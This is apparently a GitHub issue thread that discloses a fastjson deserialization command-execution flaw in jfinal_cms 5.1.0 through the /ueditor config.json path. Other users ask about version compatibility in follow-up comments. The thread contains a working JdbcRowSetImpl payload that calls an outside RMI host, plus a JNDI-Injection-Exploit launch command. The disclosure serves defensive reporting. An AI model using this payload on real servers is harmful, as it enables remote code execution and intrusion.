jfinal_cms icon indicating copy to clipboard operation
jfinal_cms copied to clipboard

jfinal CMS v5.1.0 has a command execution vulnerability exists

Open baimao-box opened this issue 2 years ago • 5 comments

jfinal_cms version:5.1.0 JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

image

The ConfigManager class is instantiated in the constructor of the ActionEnter class

image

The construction method of ConfigManager calls initEnv()

image

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

image

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

image

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

image

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

image

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d

baimao-box avatar Feb 10 '23 07:02 baimao-box

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮

ElevenKong avatar Feb 10 '23 07:02 ElevenKong

jfinal_cms version:5.1.0 JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

image

The ConfigManager class is instantiated in the constructor of the ActionEnter class

image

The construction method of ConfigManager calls initEnv()

image

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

image

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

image

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

image

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

image

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d 136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d

image 1.2.62这个版本下反序列化不是修复了吗。大佬是怎么实现的。我这报错了。com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

tianxiabingmadadudu avatar Jun 25 '23 02:06 tianxiabingmadadudu

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮

ElevenKong avatar Jun 25 '23 02:06 ElevenKong

This version of fastjson does have the risk of deserialization, but the poc given by the author is clearly 1.2.25-1.2.47 of the chain, according to the impression, if you want to use this version, you need to introduce an additional jar package, is I not fine??

By-Yexing avatar Jan 07 '24 08:01 By-Yexing

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮

ElevenKong avatar Jan 07 '24 08:01 ElevenKong